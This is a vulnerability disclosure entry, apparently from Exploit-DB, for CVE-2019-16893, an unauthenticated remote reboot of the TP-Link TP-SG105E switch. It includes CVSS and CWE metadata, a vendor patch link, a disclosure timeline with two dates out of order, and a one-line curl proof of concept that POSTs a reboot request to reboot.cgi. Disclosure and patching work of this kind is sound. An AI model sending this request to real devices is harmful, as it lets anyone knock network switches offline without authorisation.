TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot

vendor:

TP-SG105E

by:

PCEumel

7.5

CVSS

HIGH

Unauthenticated Remote Reboot

284

CWE

Product Name: TP-SG105E

Affected Version From: 1.0.0

Affected Version To: 1.0.0

Patch Exists: YES

Related CWE: CVE-2019-16893

CPE: h:tp-link:tp-sg105e:1.0.0

Metasploit:

Other Scripts:

Platforms Tested:

2020

TP-Link TP-SG105E 1.0.0 – Unauthenticated Remote Reboot

The TP-Link TP-SG105E is a "5-Port Gigabit Easy Smart Switch". It features a web front end and an application (Easy Smart Configuration Utility) for easy configuration management. The device does not properly restrict access to an internal API. It is therefore possible to remotely reboot the device by sending a HTTP POST request.

Mitigation:

Apply the patch provided by the vendor

Source

Exploit-DB raw data:

# Exploit Title: TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot
# Date: 2020-01-20
# Exploit Author: PCEumel
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/us/support/download/tl-sg105e/#Firmware
# Version: TP-Link TP-SG105E V4
# Tested on: TP-SG105E V4 1.0.0 Build 20181120
# Patch from vendor : https://static.tp-link.com/2020/202001/20200120/TL-SG105Ev4.0_en_1.0.0_[20200119-rel.52079]_up.zip
# CVE : CVE-2019-16893

# TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot
# The TP-Link TP-SG105E is a "5-Port Gigabit Easy Smart Switch".
# It features a web front end and an application (Easy Smart Configuration Utility)
# for easy configuration management.

# The device does not properly restrict access to an internal API.
# It is therefore possible to remotely reboot the device by sending a HTTP POST
# request.

---

# POC :
curl -d "reboot_op=reboot" -X POST http://192.168.1.10/reboot.cgi

---

Timeline :
2019-09-16 | Vendor notified 
2019-09-25 | Reply (they will patch it)
2019-12-24 | First patch for testing
2019-12-19 | Confirmed the functionality of the patch
2020-01-14 | Public patch available